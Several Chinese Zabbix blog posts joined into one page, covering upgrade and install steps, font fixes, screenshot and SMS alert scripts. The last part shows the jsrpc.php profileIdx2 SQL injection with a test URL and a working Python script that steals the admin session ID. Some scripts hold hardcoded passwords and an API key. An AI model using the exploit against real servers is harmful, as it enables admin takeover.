标签：zabbix

1、停止zabbix_server和zabbix_proxy

停止Zabbix服务器以确保没有新数据插入数据库。

停止server,可以用脚本也可以杀死进程

systemctl stop zabbix_server
/etc/init.d/zabbix_server stop

systemctl stop zabbix_proxy
/etc/init.d/zabbix_proxy stop

2、备份现有的Zabbix数据库

这是非常重要的一步。确保您具有数据库的备份。如果升级过程失败（缺少磁盘空间，关闭电源，出现意外问题），这将有所帮助。

mysqldump -uzabbix -p你的密码 zabbix > zabbix_back.sql

3、备份配置文件，PHP文件和Zabbix二进制文件

制作Zabbix二进制文件的备份副本，配置文件和PHP文件目录。

备份zabbix server配置信息主要备份etc下面的配置信息

/bin/cp -fr zabbix_server zabbix_server_3.2_back

备份web目录,这是你的zabbix文件目录

/bin/cp -fr /data/www/zabbix /data/www/zabbix_3.2_back

4、安装新的服务器二进制文件

编译安装zabbix

下载zabbix-3.4.0.tar.gz可以去官方下载

官方下载地址: https://www.zabbix.com/download

tar xv zabbix-3.4.0.tar.gz
cd zabbix-3.4.0/
./configure --prefix=/app/zabbix/zabbix-server --enable-server --enable-agent --with-mysql --with-net-snmp --with-libcurl
make
make install

恢复配置文件,拷贝zabbix_server_3.2_back/etc下面文件到新的目录下面

因为我下面有很多脚本,所以我需要把脚本目录也拷贝过去

/bin/cp -fr zabbix-server_2.3_back/etc/* /app/zabbix/zabbix-server/etc/
/bin/cp -fr zabbix-server_2.3_back/script /app/zabbix/zabbix-server/

5、启动新的Zabbix二进制文件

启动新的二进制文件。检查日志文件以查看二进制文件是否已成功启动。

Zabbix服务器将自动升级数据库。启动时，Zabbix服务器报告当前（强制和可选）和所需的数据库版本。如果当前的强制版本比所需版本更早，Zabbix服务器会自动执行所需的数据库升级补丁。数据库升级的开始和进度级别（百分比）将写入Zabbix服务器日志文件。升级完成后，会将一个“数据库升级完全完成”消息写入日志文件。如果任何升级补丁失败，Zabbix服务器将无法启动。如果当前的强制数据库版本比所需服务器更新，Zabbix服务器也将不会启动。如果当前强制数据库版本对应于必需的必需版本，Zabbix服务器将仅启动。

8673：20161117：104750.259当前数据库版本（强制/可选）：03040000/03040000
8673：20161117：104750.259必需的版本：03040000

启动服务器之前：

确保数据库用户具有足够的权限（创建表，删除表，创建索引，删除索引）

确保您有足够的可用磁盘空间。

启动zabbix_server

/etc/init.d/zabbix_server start

启动后可以查看日志，可以看到数据库会自动升级到最新版版

6、安装新的Zabbix Web界面

最低要求的PHP版本为5.4.0。如果需要更新，并遵循安装说明。

复制新的php文件到你的web目录下，复制后注意权限问题

/bin/cp -fr frontends/php/* /data/www/zabbix

完成后我们就能看到最新的zabbix 3.4.0了

大功告成!

UI界面

概要

老样子先来个概要，因为公司一直都子使用企业微信，前两天刚刚将所有zabbix的告警信息接到微信上，总感觉还差那么一点，就想着就高等级的告警加上一个性能监控图，这样只看告警信息大概就清楚问题了，不用在登录到zabbix再去查找信息，就因为这个想法让我掉坑里呆了一整天，蓦然回首还是自己太菜啊，下面先贴出来使用Python登录zabbix并且获取到对应告警项监控图的代码，之后完整代码会贴到github中，链接放到简书上~

实现抓取

以下几点基础：

• 告警信息的发送message里，可以发送zabbix的宏变量Item ID信息

• 根据Item ID，可以直接使用特殊URL携带Item ID信息获取对应监控截图

以下为获取截图完整代码：

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# name image.py
from selenium import webdriver
import os
import sys
reload(sys)
sys.setdefaultencoding('utf-8')

def get_item_graph(itemid,flag,eventid):
    temp_name = "/tmp/"+eventid+".png"
        #save_screenshot仅能保存png格式图片，所以文件名定义需要以png结尾
    driver = webdriver.PhantomJS("/usr/local/zabbix-agent-ops/phantomjs-2.1.1/bin/phantomjs",service_log_path=os.path.devnull)
        #使用PhantomJS可以模拟浏览器进行访问
    driver.get("http://127.0.0.1/zabbix/")
    driver.set_window_size(640,480)
    driver.find_element_by_id("name").send_keys("armo")
    driver.find_element_by_id("password").send_keys("123456")
    driver.find_element_by_id("enter").click()
        #模拟访问url，在对应的元素element处输入用户名密码后click登陆
    if flag:
        driver.get("http://127.0.0.1/zabbix/history.php?action=showgraph&fullscreen=1&itemids[]="+itemid)
    else:
        driver.get("http://127.0.0.1/zabbix/history.php?action=showvalues&fullscreen=1&itemids[]="+itemid)
        #flag如果是1，则对应Item有对应的graph获取；如果是0，则获取最新一段时间的值
        driver.save_screenshot(temp_name)
        #将网页内容保存为png图片
    driver.close()
    driver.quit()

if __name__ == "__main__":
    if len(sys.argv) > 1:
        itemid = sys.argv[1]           #脚本传递的第一个参数 Item ID
        flag = sys.argv[2]             #脚本传递的第二个参数 Flag，从zabbix数据库item和graph的对应表查询item是否具有对应的graph，如果有则传递1到脚本，无传递0
        eventid = sys.argv[3]          #脚本传递的第三个参数 告警信息的Event ID，用来命名png图片
    get_item_graph(itemid,flag,eventid)
        #以上三个参数为前置调用脚本分析zabbix的发送信息后得到，之后会更新在后续文章中

遇到的问题

• 第一个session和cookies的保存问题，如果登录之后不携带cookies是无法访问对应监控页面的，刚开始选择requests模块，感觉相对较难，对于刚入门的我来说还是selenium比较合适，不用考虑session和cookies的问题

• 脚本在测试环境运行非常好，截图信息也很准确，但是到线上服务器就出了问题，上俩个图：

很明显线上环境返回的图，前面一段居然是乱码。检查了所有环境，最后才发现问题出在线上服务器没有安装和zabbix适配的字体问题上，很是无奈啊，居然还要考虑字体的问题，阿里云的服务器也是真够能偷懒的。

正常

不正常

• 安装字体

为了确保万无一失，直接安装zabbix调用的字体到系统中

[root@zabbix ~]# cp /var/www/html/zabbix/fonts/DejaVuSans.ttf /usr/share/fonts/
[root@zabbix ~]# mkfontscale
[root@zabbix ~]# mkfontdir
[root@zabbix ~]# fc-list :lang=zh
Fangsong ti:style=Regular
AR PL ShanHeiSun Uni:style=Regular
[root@zabbix ~]#

安装成功之后再次运行脚本后，截图一切正常了~~~~终于可以安心睡觉了。

源码搭建LNMP环境后，可以开始安装Zabbix了。

ZABBIX安装

1. 下载zabbix软件包

链接：http://pan.baidu.com/s/1slcXw41 密码：k8jm

yum -y install lrzsz

利用linux自带的上传命令上传软件包到服务器目录上

2. 安装依赖包，不然配置zabbix的时候会报错

yum -y install mysql-devel net-snmp-devel

3. 源码安装zabbix

tar -zxvf zabbix-3.0.4.tar.gz
cd zabbix-3.0.4
./configure --prefix=/usr/local/zabbix --enable-server --enable-agent --with-mysql --with-net-snmp --with-libcurl --with-libxml2
make -j 4 && make install

4. 创建zabbix用户

groupadd zabbix
useradd zabbix -s /sbin/nologin -M -g zabbix

导入SQL文件之前需要创建ZABBIX数据库

mysql> create database zabbix default charset utf8;
mysql> grant all privileges on zabbix.* to zabbix@'localhost' identified by 'zabbix';
mysql> flush privileges;
mysql> show databases;
mysql> quit

5. 导入sql文件

mysql -uroot -pyinzhengjie zabbix < database/mysql/schema.sql
mysql -uroot -pyinzhengjie zabbix < database/mysql/images.sql
mysql -uroot -pyinzhengjie zabbix < database/mysql/data.sql

6. 创建zabbix项目目录便于管理

mkdir -p data/zabbix/web
mkdir -p data/zabbix/log
mkdir -pv /usr/local/nginx/conf/zabbix
cd /usr/local/nginx/conf/zabbix/
cp -rp /usr/local/zabbix-3.0.4/frontends/php/* /data/zabbix/web/
cp /yinzhengjie/zabbix-3.0.4/misc/init.d/tru64/zabbix_* /etc/init.d/
chmod +x /etc/init.d/zabbix_*
vim /etc/init.d/zabbix_server
DAEMON=/usr/local/zabbix/sbin/zabbix_server （切记要修改这个变量的path，因为咱们是源码安装的，路径不正确，下面的脚本调用就会出错的！）
vim /etc/init.d/zabbix_agentd
DAEMON=/usr/local/zabbix/sbin/zabbix_agentd（原理同上）

7. 编辑zabbix访问web的配置文件

（配置文件处理要写明端口外，还有启用fastcgi，因为nginx本身是不支持php的，如果不开启这个功能的话就无法支持zabbix的php界面了哟）

mkdir -pv  /usr/local/nginx/conf/zabbix && cd /usr/local/nginx/conf/zabbix
vim zabbix.conf
server {
listen 8027;
server_name web;
access_log /data/zabbix/log/zabbix.access.log main;
index index.html index.php index.html;
root /yinzhengjie/data/zabbix/web;
location /{
try_files $uri $uri/ /index.php?$args;
}
location ~ ^(.+.php)(.*)$ {
fastcgi_split_path_info ^(.+.php)(.*)$;
include fastcgi.conf;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param PATH_INFO $fastcgi_path_info;
}
}

8. 编辑zabbix的配置文件

（修改一下参数，账号密码要记住哟，不然网页安装会出问题的~）

cat /usr/local/zabbix/etc/zabbix_server.conf | grep -v ^# | grep -v "^$"LogFile=/tmp/zabbix_server.log
PidFile=/tmp/zabbix_server.pid
DBHost=localhost
DBName=zabbix
DBUser=zabbix
DBPassword=zabbix

9. 编辑nginx的配置文件

（基本上是架空了nginx配置文件，而是用include模块已经写好的调用配置文件）

cd /usr/local/nginx/conf/
vim nginx.conf
user nginx;
worker_processes 1;
#error_log logs/error.log warning;
#error_log logs/error.log notice;
#error_log logs/error.log info;
pid logs/nginx.pid;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log logs/access.log main;
sendfile on;
#tcp_nopush on;
#keepalive_timeout 0;
keepalive_timeout 65;
#gzip on;
include zabbix/*.conf;
}
#防火墙策略
iptables -I INPUT -p tcp --dport 80 -j ACCEPT
iptables -I INPUT -p tcp --dport 8027 -j ACCEPT
#启动zabbix服务和代理
service zabbix_server start
service zabbix_agentd start

好了，以上就是zabbix服务器已经部署完毕了，下面我们要开始页面安装zabbix了

ZABBIX安装以及常见错误解决方案

1. 首先登陆服务器地址

（服务器地址＋nginx监听zabbix的端口号，listen 8027;）

2. 输入账号密码

这个是在zabbix配置文件中定义的

3. 直接下一步

4. 点击下一步

5. 需要下载文件到服务器

点击蓝色按钮下载，然后上传到服务器

[root@bogon yinzhengjie]# cd /yinzhengjie/data/zabbix/web/conf/
[root@bogon conf]# ll
total 8
-rw-r--r--. 1 1000 1000 1036 Jul 22 08:06 maintenance.inc.php
-rw-r--r--. 1 1000 1000 411 Jul 22 08:06 zabbix.conf.php.example
[root@bogon conf]# cp /yinzhengjie/zabbix.conf.php ./

修改权限

[root@bogon conf]# chown -R 1000:1000 zabbix.conf.php

好的，来带web界面点击右键刷新

6. 输入账号密码

故障排错：时区错误

解决方案：

编辑你的php配置文件，修改成正确的时区就好！正确的应该写PRC

[root@bogon yinzhengjie]# find / -name php.ini
/usr/local/product/php-5.5.35/etc/php.ini
[root@bogon yinzhengjie]# vim /usr/local/product/php-5.5.35/etc/php.ini

找到对应时区的字段，修改成东八区的时区，修改后重启PHP

重启后，来到登陆界面，奇迹发生了~

后记：最近有的朋友向我反馈一个问题，就是把zabbix的界面调试到中文模式的时候，在看图像会出现乱码的情况~如下图：

怎么处理这个问题呢？其实很简单，我们可以把windows系统自带的字体放到服务器上替换一下就好使了

• 找到windows楷体的字体文件：

• 更换zabbix服务器字体文件

[root@bogon yinzhengjie]# cd /yinzhengjie/data/zabbix/web/fonts
[root@bogon fonts]# mv DejaVuSans.ttf /yinzhengjie/

用Linux自带的rz命令上传刚刚的文件即可~

[root@bogon fonts]# ll
总用量 11512
-rw-r--r--. 1 root root 11785184 7月 17 06:28 simkai.ttf
[root@bogon fonts]# 

• 修改配置文件

[root@bogon yinzhengjie]# vim /yinzhengjie/data/zabbix/web/include/defines.inc.php

define('ZBX_GRAPH_FONT_NAME', 'DejaVuSans'); // font file name
define('ZBX_GRAPH_FONT_NAME', 'simsun'); // font file name        ==>此行为新增行；

define('ZBX_FONT_NAME', 'DejaVuSans');
define('ZBX_FONT_NAME', 'simsun');       ==>此行为新增行；

之后切换到末行模式：执行 %s/DejaVuSans/simkai

• 重启zabbix服务

[root@bogon yinzhengjie]# /etc/init.d/zabbix_server restart
Zabbix server terminated.
Zabbix server started.
[root@bogon yinzhengjie]# 

• 验证你的服务器是否都是正常的字体了

前面已分别介绍了zabbix的邮件、微信报警设置，这些都是手机在有网络时才能收到报警信息，那如果手机没有网的情况下怎么办，这就需要考虑使用短信接口报警了。当服务出现故障达到预警级别是通过发送短信的形式告诉运维人员，以便及时处理。公司的短信接口是从短信服务器购买的，并经过公司开发大神调整后使用的。废话不多赘述，下面直接记录配置过程：

一、zabbix服务端的脚本路径设置

[root@zabbix ~]# cat /data/zabbix/etc/zabbix_server.conf|grep alertscripts
AlertScriptsPath=/data/zabbix/alertscripts

二、短信脚本

--------------------------------------------------------------------------------------------------------
下面是开发大神对短信服务器提供的接口进行调试之后给运维部分使用的短信接口
curl -H "Content-type: application/json" -X POST 192.168.1.10:8080/sms/send/batch -d '
{
  "phones": [
    "13611789029",
    "12310703369",
    "13314466149"
  ],
  "callOrgCode": "YW1001",
  "callOrgName": "运维部门",
  "callAppCode": "WANG_OPS",
  "key": "R13-G294595Y32M24TAD60JK",
  "templateId": 6,
  "valueMap": {
   "msg": "test001服务器出现问题！请尽快修复！"
  }
} '

可以在命令行里手动执行上面的接口进行发信测试，在目标手机查看是否收到短信。
--------------------------------------------------------------------------------------------------------

结合上面的短信接口，zabbix短信报警脚本如下：

[root@zabbix alertscripts]# cat zabbixsend_sms.sh
#!/bin/bash
export LANG=en_US.UTF-8

PHONE=$(echo $1|sed 's/,/",n"/g')                         #第一个变量（$1）。由于多个号码要换行，并且每行要加双引号，故要做匹配转换设置
#Message=$(echo $3|sed 's/:/": "/g'|sed 's/,/",n"/g')
#Message=$(echo $3|sed 's/: /": "/g'|sed 's/,/",n"/g')
Message=$3                                                 #第三个变量

curl -H "Content-type: application/json" -X POST 192.168.1.10:8080/sms/send/batch -d """          #公司的短信接口地址，这里采用post方式
{
  "phones": [
    "$PHONE"
  ],
  "callOrgCode":"YW1001",                       
  "callOrgName": "运维部门",
  "callAppCode": "WANG_OPS",
  "key": "R13-G294595Y32M24TAD60JK",
  "templateId": "6",
  "valueMap": {
   "msg": "$Message"
  }
} """                                         #前后三个引号表示引号里的内容输入什么就是什么，变量参数不会被影响。

time=`date '+%F %T'`
echo "${time}  ${PHONE} $Message" >> /data/log/sendsms_`date +%Y-%m`.log

[root@zabbix alertscripts]# chmod 755 zabbixsend_sms.sh

可以先手动执行脚本进行发信测试：
$1是发信的手机号码
$2是发信的主题，这个一般短信报警信息里不显示，如下测试是"报警测试"。上面脚本中没有配置$2的变量
$3是发信的内容。
三个变量使用空格隔开
[root@zabbix alertscripts]# ./zabbixsend_sms.sh 13633767819 报警测试 backup01服务器宕机了!
{"totalCnt":1,"successCnt":1,"failCnt":0,"failPhones":[],"failMsg":null,"msgContent":"backup01服务器宕机了!"}

三、zabbix的web界面里的报警设置

1、报警媒介类型设置

2、用户的报警媒介设置

3、”动作”设置

上面的报警主题如下，这个其实在短信报警信息中没有体现，随便定义即可。

故障{TRIGGER.STATUS},服务器:{HOSTNAME1}发生: {TRIGGER.NAME}故障!

报警内容如下（由于开发那边的调整规则，报警内容换行后就发信失败，所以这里只能讲报警内容放在一行）

告警主机:{HOSTNAME1}, 告警时间:{EVENT.DATE} {EVENT.TIME}, 告警等级:{TRIGGER.SEVERITY}, 告警信息: {TRIGGER.NAME}, 告警项目:{TRIGGER.KEY1}, 问题详情:{ITEM.NAME}:{ITEM.VALUE}, 当前状态:{TRIGGER.STATUS}:{ITEM.VALUE1}, 事件ID:{EVENT.ID}

手机短信报警截图如下：

发信后，可以查看zabbix的web界面里的”报表”->“动作日志”

***************当你发现自己的才华撑不起野心时，就请安静下来学习吧***************

• zabbix是一个开源的企业级性能监控解决方案。

• 官方网站：http://www.zabbix.com

• zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞，攻击者无需授权登陆即可登陆zabbix管理系统，也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。

• 影响范围：2.2.x, 3.0.0-3.0.3。（其他版本未经测试）

漏洞测试

在您的zabbix的地址后面加上如下url：

/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim
estamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi
story.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfil
e=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=
17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&
mark_color=1

输出结果，出现如下内容（包含：You have an error in your SQL syntax;）表示漏洞存在：

<div class="flickerfreescreen" data-timestamp="1471054088083" id="flickerfreescreen_1"><table class="list-table" 
id="t57ae81946b8cb"><thead><tr><th class="cell-width">Timestamp</th><th>Value</th></tr></thead><tbody><tr 
class="nothing-to-show"><td colspan="2">No data found.</td></tr></tbody></table></div><div class="msg-bad"><div 
class="msg-details"><ul><li>Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES 
(39, 1, 'web.item.graph.period', '3600', 2, 2'3297)] [You have an error in your SQL syntax; check the manual that 
corresponds to your MySQL server version for the right syntax to use near ''3297)' at line 1]</li><li>Error in query 
[INSERT INTO profiles (profileid, userid, idx, value_str, type, idx2) VALUES (40, 1, 'web.item.graph.stime', 
'20160813041028', 3, 2'3297)] [You have an error in your SQL syntax; check the manual that corresponds to your MySQL 
server version for the right syntax to use near ''3297)' at line 1]</li><li>Error in query [INSERT INTO profiles 
(profileid, userid, idx, value_int, type, idx2) VALUES (41, 1, 'web.item.graph.isnow', '1', 2, 2'3297)] [You have an 
error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use 
near ''3297)' at line 1]</li></ul></div><span class="overlay-close-btn" onclick="javascript: 
$(this).closest('.msg-bad').remove();" title="Close"></span></div>

以上为仅为漏洞验证测试方式。

攻击者可以通过进一步构造语句进行错误型sql注射，无需获取和破解加密的管理员密码。

有经验的攻击者可以直接通过获取admin的sessionid来根据结构算法构造sid，替换cookie直接以管理员身份登陆。

利用工具，可自动判断Session是否可用

import urllib,sys,urllib2,urllib
def cookie(url):
    poc='/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(select 1 from (select count(*),concat(floor(rand(0)*2), (select sessionid from sessions where userid=1 and status=0 limit 1))x from information_schema.character_sets group by x)y)&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color='
    body= urllib.urlopen(url+poc).read()
    cookie=body.split('Duplicate entry')[1].split('for key')[0][3:-2]
    return cookie
def test(cookie,url):
    url=url+'proxies.php'
    req=urllib2.Request(url)
    cook="zbx_sessionid=%s" % cookie
    req.add_header('Cookie', cook)
    response=urllib2.urlopen(req)
    data=response.read()
    if data.find('Access denied.') < 0:
        print "OK-->",cookie
    else:
        print 'ERROR'
if len(sys.argv)==4:
    for i in open(sys.argv[3]).readlines():
        print i
        test(cookie(i),i)
else:
    print sys.argv[1]
    test(cookie(sys.argv[1]),sys.argv[1])